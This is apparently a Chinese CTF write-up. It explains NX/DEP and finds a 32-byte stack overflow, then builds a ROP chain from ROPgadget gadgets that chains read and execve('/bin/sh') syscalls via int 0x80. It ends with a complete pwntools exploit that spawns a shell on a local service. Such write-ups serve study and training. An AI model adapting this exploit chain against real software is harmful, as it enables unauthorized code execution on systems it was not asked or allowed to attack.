首先对目标文件checksec,提示NX enabled,看看其解释
NX/DEP(堆栈不可执行)
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
打开qira调试一下,报segmentation fault,有溢出点,并且能看到覆盖buffer到return需要32字节
ROP其实就是面向return的编程,核心是系统调用,下面用ROPgadget寄存器指令,并保存成txt方便查找
从eax开始 找到只有pop eax ; ret 的或者包含多个寄存器的指令,不要有其他字符指令
例如:
然后依次寻找ebx,ecx,edx
由于在这没找到ecx,但是找到ebx和ecx一起出现的,也可以使用,之后给这四个寄存器赋值,使其进行系统调用中的read函数即:
四个参数分别是eax,ebx,ecx,edx,eax赋值3,ebx赋值0,ecx赋值一段可写空间,edx赋值空间长度
接下来需要找可写空间,这里使用的gdb中vmmap命令
因为这些区域不会完全被利用,我们用0x080e9f40的最后100字节 即0x080ec304 - 100,赋值给ecx,
之后是启用系统调用的关键int80系统中断,当执行此指令以后,即可使用系统函数
还是用ROPgadget的一条命令来查找
得到int80的地址
到这里,我们已经成功调用read函数,接下来要传给他一个shell,并且执行,仍需要系统调用中的execve
重复上面步骤按照参数表赋值即可
最终exp
from pwn import * r=remote('127.0.0.1',4000) pop_eax_ret = 0x080bae06
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
buf = 0x080ec304 -100
int_0x80_ret = 0x0806eef0 rop=[
pop_eax_ret,
3,
pop_ecx_ebx_ret,
buf,0,
pop_edx_ret,
50,
int_0x80_ret,
pop_eax_ret,
0xb,
pop_ecx_ebx_ret,
0,buf,
pop_edx_ret,
0,
int_0x80_ret ] r.sendline('a'*32+ flat(rop))
sleep(3)
r.sendline('/bin/sh\x00') r.interactive()
执行exp2.py,已经可以运行命令